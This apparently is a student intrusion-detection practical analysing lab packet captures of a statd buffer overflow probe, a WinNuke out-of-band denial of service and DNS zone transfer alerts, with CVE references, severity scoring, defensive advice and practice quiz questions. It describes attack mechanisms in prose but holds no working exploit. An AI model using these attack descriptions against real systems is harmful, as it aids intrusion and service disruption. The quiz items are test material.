IP:   Source address = 192.168.10.1, 192.168.10.1
IP:   Destination address = 192.168.50.2, teste
IP:   No options
IP:
TCP:  ----- TCP Header -----
TCP:
TCP:  Source port = 812
TCP:  Destination port = 111 (Sun RPC)
TCP:  Sequence number = 1101011
TCP:  Acknowledgement number = 142323277
TCP:  Data offset = 20 bytes
TCP:  Flags = 0x18
TCP:        ..0. .... = No urgent pointer
TCP:        ...1 .... = Acknowledgement
TCP:        .... 1... = Push
TCP:        .... .0.. = No reset
TCP:        .... ..0. = No Syn
TCP:        .... ...0 = No Fin
TCP:  Window = 8760
TCP:  Checksum = 0x85ad
TCP:  Urgent pointer = 0
TCP:  No options
TCP:
RPC:  ----- SUN RPC Header -----
RPC:
RPC:  Record Mark: last fragment, length = 40
RPC:  Transaction id = 949776432
RPC:  Type = 0 (Call)
RPC:  RPC version = 2
RPC:  Program = 100000 (PMAP), version = 2, procedure = 4
RPC:  Credentials: Flavor = 0 (None), len = 0 bytes
RPC:  Verifier   : Flavor = 0 (None), len = 0 bytes
RPC:
PMAP:  ----- Portmapper -----
PMAP:
PMAP:  Proc = 4 (Dump the mappings)
PMAP:
```

```
ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 60 arrived at 20:10:12.27
ETHER:  Packet size = 54 bytes
ETHER:  Destination = 0:50:4:72:5c:fa,
ETHER:  Source      = 8:0:20:7d:51:f6, Sun
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 40 bytes
IP:   Identification = 50250
IP:   Flags = 0x4
IP:         .1.. .... = do not fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 255 seconds/hops
IP:   Protocol = 6 (TCP)
IP:   Header checksum = e6af
IP:   Source address = 192.168.50.2, teste
IP:   Destination address = 192.168.10.1, 192.168.10.1
IP:   No options
IP:
TCP:  ----- TCP Header -----
TCP:
TCP:  Source port = 111
TCP:  Destination port = 812
TCP:  Sequence number = 142323277
TCP:  Acknowledgement number = 1101055
TCP:  Data offset = 20 bytes
TCP:  Flags = 0x10
TCP:        ..0. .... = No urgent pointer
TCP:        ...1 .... = Acknowledgement
TCP:        .... 0... = No push
TCP:        .... .0.. = No reset
TCP:        .... ..0. = No Syn
TCP:        .... ...0 = No Fin
TCP:  Window = 8716
TCP:  Checksum = 0x3580
TCP:  Urgent pointer = 0
TCP:  No options
TCP:

ETHER:  ----- Ether Header -----
```

```
ETHER:
ETHER:  Packet 61 arrived at 20:10:12.27
ETHER:  Packet size = 926 bytes
ETHER:  Destination = 0:50:4:72:5c:fa,
ETHER:  Source      = 8:0:20:7d:51:f6, Sun
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 912 bytes
IP:   Identification = 50251
IP:   Flags = 0x4
IP:         .1.. .... = do not fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 255 seconds/hops
IP:   Protocol = 6 (TCP)
IP:   Header checksum = e346
IP:   Source address = 192.168.50.2, teste
IP:   Destination address = 192.168.10.1, 192.168.10.1
IP:   No options
IP:
TCP:  ----- TCP Header -----
TCP:
TCP:  Source port = 111
TCP:  Destination port = 812 (Sun RPC)
TCP:  Sequence number = 142323277
TCP:  Acknowledgement number = 1101055
TCP:  Data offset = 20 bytes
TCP:  Flags = 0x18
TCP:        ..0. .... = No urgent pointer
TCP:        ...1 .... = Acknowledgement
TCP:        .... 1... = Push
TCP:        .... .0.. = No reset
TCP:        .... ..0. = No Syn
TCP:        .... ...0 = No Fin
TCP:  Window = 8760
TCP:  Checksum = 0xce34
TCP:  Urgent pointer = 0
TCP:  No options
TCP:
RPC:  ----- SUN RPC Header -----
RPC:
RPC:  Record Mark: last fragment, length = 868
```

```
RPC:  Transaction id = 949776432
RPC:  Type = 1 (Reply)
RPC:  This is a reply to frame 59
RPC:  Status = 0 (Accepted)
RPC:  Verifier   : Flavor = 0 (None), len = 0 bytes
RPC:  Accept status = 0 (Success)
RPC:
PMAP:  ----- Portmapper -----
PMAP:
PMAP:  Proc = 4 (Dump the mappings)
PMAP:   Program Version Protocol   Port
PMAP:    100000     4      6    111  PMAP
PMAP:    100000     3      6    111  PMAP
PMAP:    100000     2      6    111  PMAP
PMAP:    100000     4     17    111  PMAP
PMAP:    100000     3     17    111  PMAP
PMAP:    100000     2     17    111  PMAP
PMAP:    100232    10      17  32772  ?
PMAP:    100011     1     17  32773  RQUOTA
PMAP:    100002     2     17  32774  RUSERS
PMAP:    100002     3     17  32774  RUSERS
PMAP:    100002     2      6  32771  RUSERS
PMAP:    100002     3      6  32771  RUSERS
PMAP:    100012     1     17  32775  SPRAY
PMAP:    100008     1     17  32776  WALL
PMAP:    100001     2     17  32777  RSTAT
PMAP:    100001     3     17  32777  RSTAT
PMAP:    100001     4     17  32777  RSTAT
PMAP:    100024     1     17  32778  STATMON2
PMAP:    100024     1      6  32772  STATMON2
PMAP:    100221     1      6  32773  ?
PMAP:    100235     1      6  32774  ?
PMAP:    100068     2     17  32779  CMSD
PMAP:    100068     3     17  32779  CMSD
PMAP:    100068     4     17  32779  CMSD
PMAP:    100068     5     17  32779  CMSD
PMAP:    100083     1      6  32775  ?
PMAP:    100021     1     17   4045  NLM
PMAP:    100021     2     17   4045  NLM
PMAP:    100021     3     17   4045  NLM
PMAP:    100021     4     17   4045  NLM
PMAP:    100021     1      6   4045  NLM
PMAP:    100021     2      6   4045  NLM
PMAP:    100021     3      6   4045  NLM
PMAP:    100021     4      6   4045  NLM
PMAP:    300598     1     17  32783  ?
PMAP:    300598     1      6  32776  ?
PMAP:  805306368     1      17  32783  ?
PMAP:  805306368     1       6  32776  ?
PMAP:  1342177279     4       6  32778  transient
PMAP:  1342177279     1       6  32778  transient
```

```
PMAP:  1342177279      3        6  32778  transient
PMAP:  1342177279      2        6  32778  transient
PMAP:   42 maps
PMAP:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 62 arrived at 20:10:12.27
ETHER:  Packet size = 60 bytes
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:50:4:72:5c:fa,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 40 bytes
IP:   Identification = 60928
IP:   Flags = 0x4
IP:         .1.. .... = do not fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 128 seconds/hops
IP:   Protocol = 6 (TCP)
IP:   Header checksum = 3bfa
IP:   Source address = 192.168.10.1, 192.168.10.1
IP:   Destination address = 192.168.50.2, teste
IP:   No options
IP:
TCP:  ----- TCP Header -----
TCP:
TCP:  Source port = 812
TCP:  Destination port = 111
TCP:  Sequence number = 1101055
TCP:  Acknowledgement number = 142324149
TCP:  Data offset = 20 bytes
TCP:  Flags = 0x11
TCP:        ..0. .... = No urgent pointer
TCP:        ...1 .... = Acknowledgement
TCP:        .... 0... = No push
TCP:        .... .0.. = No reset
TCP:        .... ..0. = No Syn
TCP:        .... ...1 = Fin
TCP:  Window = 7888
TCP:  Checksum = 0x3553
```

```
TCP:  Urgent pointer = 0
TCP:  No options
TCP:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 63 arrived at 20:10:12.27
ETHER:  Packet size = 54 bytes
ETHER:  Destination = 0:50:4:72:5c:fa,
ETHER:  Source      = 8:0:20:7d:51:f6, Sun
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 40 bytes
IP:   Identification = 50252
IP:   Flags = 0x4
IP:         .1.. .... = do not fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 255 seconds/hops
IP:   Protocol = 6 (TCP)
IP:   Header checksum = e6ad
IP:   Source address = 192.168.50.2, teste
IP:   Destination address = 192.168.10.1, 192.168.10.1
IP:   No options
IP:
TCP:  ----- TCP Header -----
TCP:
TCP:  Source port = 111
TCP:  Destination port = 812
TCP:  Sequence number = 142324149
TCP:  Acknowledgement number = 1101056
TCP:  Data offset = 20 bytes
TCP:  Flags = 0x10
TCP:        ..0. .... = No urgent pointer
TCP:        ...1 .... = Acknowledgement
TCP:        .... 0... = No push
TCP:        .... .0.. = No reset
TCP:        .... ..0. = No Syn
TCP:        .... ...0 = No Fin
TCP:  Window = 8760
TCP:  Checksum = 0x31eb
TCP:  Urgent pointer = 0
```

```
TCP:  No options
TCP:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 64 arrived at 20:10:12.27
ETHER:  Packet size = 54 bytes
ETHER:  Destination = 0:50:4:72:5c:fa,
ETHER:  Source      = 8:0:20:7d:51:f6, Sun
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 40 bytes
IP:   Identification = 50253
IP:   Flags = 0x4
IP:         .1.. .... = do not fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 255 seconds/hops
IP:   Protocol = 6 (TCP)
IP:   Header checksum = e6ac
IP:   Source address = 192.168.50.2, teste
IP:   Destination address = 192.168.10.1, 192.168.10.1
IP:   No options
IP:
TCP:  ----- TCP Header -----
TCP:
TCP:  Source port = 111
TCP:  Destination port = 812
TCP:  Sequence number = 142324149
TCP:  Acknowledgement number = 1101056
TCP:  Data offset = 20 bytes
TCP:  Flags = 0x11
TCP:        ..0. .... = No urgent pointer
TCP:        ...1 .... = Acknowledgement
TCP:        .... 0... = No push
TCP:        .... .0.. = No reset
TCP:        .... ..0. = No Syn
TCP:        .... ...1 = Fin
TCP:  Window = 8760
TCP:  Checksum = 0x31ea
TCP:  Urgent pointer = 0
TCP:  No options
```

```
TCP:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 65 arrived at 20:10:12.27
ETHER:  Packet size = 60 bytes
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:50:4:72:5c:fa,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 40 bytes
IP:   Identification = 61184
IP:   Flags = 0x4
IP:         .1.. .... = do not fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 128 seconds/hops
IP:   Protocol = 6 (TCP)
IP:   Header checksum = 3afa
IP:   Source address = 192.168.10.1, 192.168.10.1
IP:   Destination address = 192.168.50.2, teste
IP:   No options
IP:
TCP:  ----- TCP Header -----
TCP:
TCP:  Source port = 812
TCP:  Destination port = 111
TCP:  Sequence number = 1101056
TCP:  Acknowledgement number = 142324150
TCP:  Data offset = 20 bytes
TCP:  Flags = 0x10
TCP:        ..0. .... = No urgent pointer
TCP:        ...1 .... = Acknowledgement
TCP:        .... 0... = No push
TCP:        .... .0.. = No reset
TCP:        .... ..0. = No Syn
TCP:        .... ...0 = No Fin
TCP:  Window = 7888
TCP:  Checksum = 0x3552
TCP:  Urgent pointer = 0
TCP:  No options
TCP:
```

Alert – Real Secure
192.168.10.1:811 -> 192.168.50.2:111

Source of Trace:
This detect was gathered from one small laboratory to tests of Intrusion Detection.

Detect was generated by:
Snoop for Solaris
Source IP > Destination IP
Real Secure :
Signature: Statd Buffer Overflow attack
Type: Unauthorized Access Attempt
Console Name: Statd_Overflow
Technical Description: Statd is part of NFS.By inserting overly long strings containing binary code into certain fields in an RPC request to the statd service,
It may be forced to execute arbitrary code on the host.

Probability the source address was spoofed:
This attack requires a three-way handshake in order to succeed. **This attack needs response**. This is a test in the laboratory. It´s not a source address spoofed.

Description of attack:

Statd is part of NFS. By inserting overly long strings containing binary code into certain fields in an RPC request to the statd service, it may be forced to execute arbitrary code on the host.
This attack allows the attacker to gain root access to the host
Systems affected: - Systems running NFS

Security Bulletin - Sun Microsystems, Inc. Security Bulletin
Bulletin Number: #00186
Date: June 7, 1999
Cross-Ref:
Title: rpc.statd

Attack Mechanism:

A remote rpc.lockd can provide false information to the rpc.statd file, allowing a file to be removed or created.Rpc statd maintains state information in cooperation with RPC lockd, to provide crash and recovery funcionality for file locking across NFS. Because statd does not validate the information it receives from the remote lockd, an attacker can send a remote procedure call, resulting in the creation or removal of any file on the system.
Most machines presently running NFS can allow remote removal of a file.
Because rpc.statd runs as root, this allows remote attackers to bypass access controls of other RPC services.

Correlations:

CVE-1999-0018 Buffer overflow in statd allows root privileges.
CVE-1999-0019 Delete or create a file via rpc.statd, due to invalid information.
CVE-1999-0493 rpc.statd allows remote attackers to forward RPC calls to the local operating system via the SM_MON and SM_NOTIFY commands, which in turn could be used to remotely exploit other bugs such as in automountd.
CVE-2000-0666 rpc.statd in the nfs-utils package in various Linux distributions does not properly cleanse untrusted format strings, which allows remote attackers to gain root privileges.
IDS10 portmap-request-rstatd – A query was sent to the portmap daemon, requesting port information for the rstatd service. The rstatd daemon can give detailed information about the host. Additionally, some older versions of this rpc service are vulnerable to buffer overflow attacks allowing remote root access. (UDP)
This attack can use UDP and TCP

Evidence of Active Targeting:
High evidence, because the machine was compromised.
A query was sent to machine. It identified the machine as being vulnerable.
This attack was with success, because this machine has Statd Buffer Overflow vulnerability (target it for attack).

Severity

(Criticality + Lethality) – (System + Net Countermeasures) = Severity

Criticality = 2 (User Unix desktop system)
Lethality = 5 (attacker can gain root across net)
System = 3 (some patches missing)
Net = 2 (permissive firewall)

Severity = (2+5) – (3+2) = 2

Defensive Recommendation:

Obtain and install the appropriate patch for your operating system.
If it´s possible for your system remove file rpc.statd from /etc/inetd.conf.
Unless specifically required, it is good practice you comment it out of your /etc/inetd.conf (should be removed). Where it is usually started from . Then kill and restart inetd.

If rstatd is not started by inetd, kill it, and modify /etc/rc* scripts so as not to start it after the next reboot.
If rstatd is started from inetd it can also be protected with tcp wrappers.This tool lets you restrict by IP address and/or hostname whom is allowed to query the rstatd daemon.This port will still be shown as active when por scanned, but will drop the connection without providing any information, if she host is not allowed to access the service. TCP wrappers provide detailed information to the syslog service.

Solaris patches are available at:
http://sunsolve.sun.com/pub-cgi/show.pl?target=patches/patch-license&nav=pub-patches

Possible Multiple choice question:

Question:
What port does the rpc.statd running on in the above trace:
A) 137 (Netbios)
B) 53 (DNS)
C) 111 (Sunrpc)
D) 98 (Linuxconf)

Answer:
C) 111

DETECT 3

```
172.17.1.1 -> 172.20.1.1 ARP R 172.17.1.1, 172.17.1.1 is 0:60:8:14:f3:5
172.20.1.1 -> 172.17.1.1 ICMP Echo request
172.17.1.1 -> 172.20.1.1 ICMP Echo reply
172.20.1.1 -> 172.17.1.1 UDP D=137 S=137 LEN=58

  "  .N<............
       .......:........
       ...... CKAAAAAAA
       AAAAAAAAAAAAAAAA
       AAAAAAA..!..    "

172.17.1.1 -> 172.20.1.1 RPC R XID=2266006528

 "    .P.r\..`......E.
       .7......=.......
       .......#.u......
       ...... CKAAAAAAA
       AAAAAAAAAAAAAAAA
       AAAAAAA..!......
       ...TESTE
       ...INet~Servic
```

```
es  ...TESTE
   ..IS~TEST
E..........WORKG
ROUP      ...TES
TE          ...W
ORKGROUP      ..
.WORKGROUP
.....__MSBROWSE_
_.....`.........
................
................
....0.......$.I.
3.0..                  “
```

172.20.1.1 -> 172.17.1.1 ICMP Echo request
172.17.1.1 -> 172.20.1.1 ICMP Echo reply
172.20.1.1 -> 172.17.1.1 UDP D=137 S=137 LEN=58
172.17.1.1 -> 172.20.1.1 RPC R XID=2267448320
172.20.1.1 -> 172.17.1.1 TCP D=139 S=4177 Syn Seq=106214418 Len=0 Win=8192
172.17.1.1 -> 172.20.1.1 TCP D=4177 S=139 Syn Ack=106214419 Seq=2241092 Len=0 Win=8760
172.20.1.1 -> 172.17.1.1 TCP D=139 S=4177 Ack=2241093 Seq=106214419 Len=0 Win=8760
172.20.1.1 -> 172.17.1.1 TCP D=139 S=4177 Fin Ack=2241093 Seq=106214419 Len=0 Win=8760
172.17.1.1 -> 172.20.1.1 TCP D=4177 S=139 Fin Ack=106214420 Seq=2241093 Len=0 Win=8760
172.20.1.1 -> 172.17.1.1 TCP D=139 S=4177 Ack=2241094 Seq=106214420 Len=0 Win=8760
172.20.1.1 -> 172.17.1.1 TCP D=135 S=4178 Syn Seq=106214478 Len=0 Win=8192
172.17.1.1 -> 172.20.1.1 TCP D=4178 S=135 Syn Ack=106214479 Seq=2241092 Len=0 Win=8760
172.20.1.1 -> 172.17.1.1 TCP D=135 S=4178 Ack=2241093 Seq=106214479 Len=0 Win=8760
172.20.1.1 -> 172.17.1.1 TCP D=135 S=4178 Fin Ack=2241093 Seq=106214479 Len=0 Win=8760
172.17.1.1 -> 172.20.1.1 TCP D=4178 S=135 Ack=106214480 Seq=2241093 Len=0 Win=8760
172.17.1.1 -> 172.20.1.1 TCP D=4178 S=135 Fin Ack=106214480 Seq=2241093 Len=0 Win=8760
172.20.1.1 -> 172.17.1.1 TCP D=135 S=4178 Ack=2241094 Seq=106214480 Len=0 Win=8760
172.20.1.1 -> 172.17.1.1 UDP D=137 S=137 LEN=58
172.17.1.1 -> 172.20.1.1 RPC R XID=2268496896
172.20.1.1 -> 172.17.1.1 UDP D=137 S=137 LEN=58
172.17.1.1 -> 172.20.1.1 RPC R XID=2268759040
172.20.1.1 -> 172.17.1.1 TCP D=139 S=4180 Syn Seq=106216807 Len=0 Win=8192
172.17.1.1 -> 172.20.1.1 TCP D=4180 S=139 Syn Ack=106216808 Seq=2243375 Len=0 Win=8760

```
172.20.1.1 -> 172.17.1.1 TCP D=139 S=4180      Ack=2243376 Seq=106216808 Len=0
Win=8760
172.20.1.1 -> 172.17.1.1 TCP D=139 S=4180      Ack=2243376 Seq=106216808 Len=72
Win=8760
172.17.1.1 -> 172.20.1.1 TCP D=4180 S=139      Ack=106216880 Seq=2243376 Len=4
Win=8688
172.20.1.1 -> 172.17.1.1 TCP D=139 S=4180      Ack=2243380 Seq=106216880 Len=0
Win=8756
172.20.1.1 -> 172.17.1.1 TCP D=139 S=4180      Ack=2243380 Seq=106216880 Len=174
Win=8756


ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 2 arrived at 22:06:43.17
ETHER:  Packet size = 132 bytes
ETHER:  Destination = 0:60:8:14:f3:5,
ETHER:  Source      = 0:50:4:72:5c:fa,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 118 bytes
IP:   Identification = 11679
IP:   Flags = 0x0
IP:         .0.. .... = may fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 128 seconds/hops
IP:   Protocol = 1 (ICMP)
IP:   Header checksum = ebd5
IP:   Source address = 172.20.1.1, 172.20.1.1
IP:   Destination address = 172.17.1.1, 172.17.1.1
IP:   No options
IP:
ICMP:  ----- ICMP Header -----
ICMP:
ICMP:  Type = 8 (Echo request)
ICMP:  Code = 0
ICMP:  Checksum = 4fff
ICMP:

ETHER:  ----- Ether Header -----
ETHER:
```

```
ETHER:  Packet 3 arrived at 22:06:43.17
ETHER:  Packet size = 132 bytes
ETHER:  Destination = 0:50:4:72:5c:fa,
ETHER:  Source      = 0:60:8:14:f3:5,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 118 bytes
IP:   Identification = 55810
IP:   Flags = 0x0
IP:         .0.. .... = may fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 128 seconds/hops
IP:   Protocol = 1 (ICMP)
IP:   Header checksum = 3f72
IP:   Source address = 172.17.1.1, 172.17.1.1
IP:   Destination address = 172.20.1.1, 172.20.1.1
IP:   No options
IP:
ICMP:  ----- ICMP Header -----
ICMP:
ICMP:  Type = 0 (Echo reply)
ICMP:  Code = 0
ICMP:  Checksum = 57ff
ICMP:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 4 arrived at 22:06:58.68
ETHER:  Packet size = 92 bytes
ETHER:  Destination = 0:60:8:14:f3:5,
ETHER:  Source      = 0:50:4:72:5c:fa,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
```

```
IP:        .... .0.. = normal reliability
IP:   Total length = 78 bytes
IP:   Identification = 15519
IP:   Flags = 0x0
IP:        .0.. .... = may fragment
IP:        ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 128 seconds/hops
IP:   Protocol = 17 (UDP)
IP:   Header checksum = dced
IP:   Source address = 172.20.1.1, 172.20.1.1
IP:   Destination address = 172.17.1.1, 172.17.1.1
IP:   No options
IP:
UDP:  ----- UDP Header -----
UDP:
UDP:  Source port = 137
UDP:  Destination port = 137
UDP:  Length = 58
UDP:  Checksum = 180C
UDP:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 5 arrived at 22:06:58.68
ETHER:  Packet size = 325 bytes
ETHER:  Destination = 0:50:4:72:5c:fa,
ETHER:  Source      = 0:60:8:14:f3:5,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:        xxx. .... = 0 (precedence)
IP:        ...0 .... = normal delay
IP:        .... 0... = normal throughput
IP:        .... .0.. = normal reliability
IP:   Total length = 311 bytes
IP:   Identification = 56066
IP:   Flags = 0x0
IP:        .0.. .... = may fragment
IP:        ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 128 seconds/hops
IP:   Protocol = 17 (UDP)
IP:   Header checksum = 3da1
IP:   Source address = 172.17.1.1, 172.17.1.1
IP:   Destination address = 172.20.1.1, 172.20.1.1
IP:   No options
```

```
IP:
UDP:  ----- UDP Header -----
UDP:
UDP:  Source port = 137
UDP:  Destination port = 137 (Sun RPC)
UDP:  Length = 291
UDP:  Checksum = AD75
UDP:
RPC:  ----- SUN RPC Header -----
RPC:
RPC:  Transaction id = 2266006528
RPC:  Type = 1 (Reply)
RPC:  Status = 0 (Accepted)
RPC:  Verifier   : Flavor = 541281089 (unknown), len = 1094795585 bytes
RPC:
[00000000003111CEFFFE5E8EF5D87EC0000000000000020000000000000000000
00000000000000000000000000EF625B740000000000000000000000000000000000
00000000000000000000000593E0000057FF00000000EFFFF33537666600000000EF
FFE648EF5DB588000000000000AD750000000000000041443735000000000000000000
0000008BEF625B740000000031333900000000000000000000000000000000000000000
0000593E0EFFFF44C00000000EF6223B400000001000000FAEFFFF3A0EF5E347C006
661000000000000000000000000000000000000000000000000004FF6800000001000
03DA10000000000053533646131000000000040109995B000000000000000000000000
000000000000000000001000000050000000100000000200663500EF6223B4383032400
0000730000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000EF7FABC80000000100020000FFFDFFF
FEF5844CC00000001000080000000008000000003830300000000000000000000000
000000000000000000000000000000000000003111C000000000000000000000800000
0000000000000311170000000800000000000000000000000000000000F831FF40000
0000000000000000000000000<Too Long>]
RPC:  ----  short frame ---

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 6 arrived at 22:07:3.20
ETHER:  Packet size = 62 bytes
ETHER:  Destination = 0:60:8:14:f3:5,
ETHER:  Source      = 0:50:4:72:5c:fa,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 48 bytes
IP:   Identification = 16543
```

```
IP:   Flags = 0x0
IP:         .0.. .... = may fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 128 seconds/hops
IP:   Protocol = 1 (ICMP)
IP:   Header checksum = d91b
IP:   Source address = 172.20.1.1, 172.20.1.1
IP:   Destination address = 172.17.1.1, 172.17.1.1
IP:   No options
IP:
ICMP:  ----- ICMP Header -----
ICMP:
ICMP:  Type = 8 (Echo request)
ICMP:  Code = 0
ICMP:  Checksum = f7ff
ICMP:
```

Source of Trace:
This detect was gathered from one small laboratory to tests of Intrusion Detection

Detect was generated by:
Snoop for Solaris
Source IP > Destination IP
Real Secure
Signature: Windows Out of Band (OOB)

Probability the source address was spoofed:
Low, because it needs three-way handshake.
It is testing port availability.
It wants to send a Push-Urg packet.

Description of attack:

The Windows Out of Band (OOB) – Denial of Service attack utilizes a bug in Microsofts implementation of its IP stack.
This attack will cause a complete crash of a machine (blue screen) or a loss of network connectivity on vulnerable machines. There are some variations, WinNuke and WinNuke2 or Mac WinNuke.
Systems affected: Windows NT 4.0 with Service Pack 2 or 3 that have not installed the hotfix. Windows 95 hosts that have not installed the hotfix.

Attack Mechanism:
With some programs (example: winnuke.c), it is possible to remotely cause denial of service to any windows 3.11/95/NT user. It is done by sending OOB [Out Of Band] data to an established connection you have with a windows user.
NetBios [port 139] seems to be the most effective since this is a part of windows.
Apparently windows doesn´t knou how to handle OOB, and it panics and crazy things happen.Windows also sometimes has trouble handling anything on a network at all after this attack. A reboot fixes whateve damage this causes.

Correlations:

CVE – 1999 – 0153 Windows 95/NT out of band (OOB) data denial of service through NETBIOS port, a.k.a WinNuke.

Source code for a program called Winnuke was posted to BugTraq in May 1997**.**

Evidence of Active Targeting:
We have evidence of active targeting.
The queries were sent to specific host.It isn´t patched above SP3.

Severity

(Criticality + Lethality) – (System + Net Countermeasures) = Severity

Criticality = 2 (User Unix desktop system)
Lethality = 2 (attacker will crash the NT box and it requires a reboot)
System = 3 (some patches missing)
Net = 5 (validated restrictive firewall; It is good practice no Netbios from external networks/ no NetBios traffic coming from the outside)

Severity = (2+2) – (3+5) = - 4

Defensive Recommendation:
Install Service Pack for Windows NT and hotfix for Windows95.

Possible Multiple choice question:

Question:
It is good practice no NetBios traffic coming from the outside, specially from the Internet, to drop the attack:

A)Teardrop
B)Land Attack
C)Out of Band (OOB) nuke or Winnuke
D)Statd Buffer Overflow attack

Answer:
C) Out of Band (OOB) nuke or Winnuke

DETECT 4

DNS Attack

Event 1 : IDS212 – MISC DNS Zone Transfer (PROTOCOL TCP)
[**] IDS212- MISC – DNS Zone Transfer [**]
04/01-03:45:29.113083 0:E3:15:D2:1F:63 -> 0:42:37:41:E6:D0 type:0x800 len:0x72
hacker.com:47790 -> My.Net.9.46:53 TCP TTL:59 TOS:0x0 ID:63744
*****PA* Seq: 0x3CA23644 Ack: 0x29718AE3 Win: 0x4074
TCP Options => NOP NOP TS: 11192958 168662898

[**] IDS212- MISC – DNS Zone Transfer [**] [**]
04/01-03:45:29.428663 0:E3:15:D2:1F:63 -> 0:42:37:41:E6:D0 type:0x800 len:0x72
hacker.com:47790 -> My.Net.9.46:53 TCP TTL:59 TOS:0x0 ID:55637
*****PA* Seq: 0x3CA23644 Ack: 0x29718AE3 Win: 0x4074
TCP Options => NOP NOP TS: 11192959 168662898

[**] IDS212- MISC – DNS Zone Transfer [**]
04/01-03:45:30.163889 0:E3:15:D2:1F:63 -> 0:42:37:41:E6:D0 type:0x800 len:0x72
hacker.com:47790 -> My.Net.9.46:53 TCP TTL:59 TOS:0x0 ID:35039
*****PA* Seq: 0x3CA23673 Ack: 0x29718BBC Win: 0x4074
TCP Options => NOP NOP TS: 11192960 168662971

[**] IDS212- MISC – DNS Zone Transfer [**]
04/01-03:45:30.813164 0:E3:15:D2:1F:63 -> 0:42:37:41:E6:D0 type:0x800 len:0x72
hacker.com:47790 -> My.Net.9.46:53 TCP TTL:59 TOS:0x0 ID:53869
*****PA* Seq: 0x3CA236A2 Ack: 0x29718C96 Win: 0x4074
TCP Options => NOP NOP TS: 11192962 168663045

[**] IDS212- MISC – DNS Zone Transfer [**]
04/01-03:45:30.813164 0:E3:15:D2:1F:63 -> 0:42:37:41:E6:D0 type:0x800 len:0x72
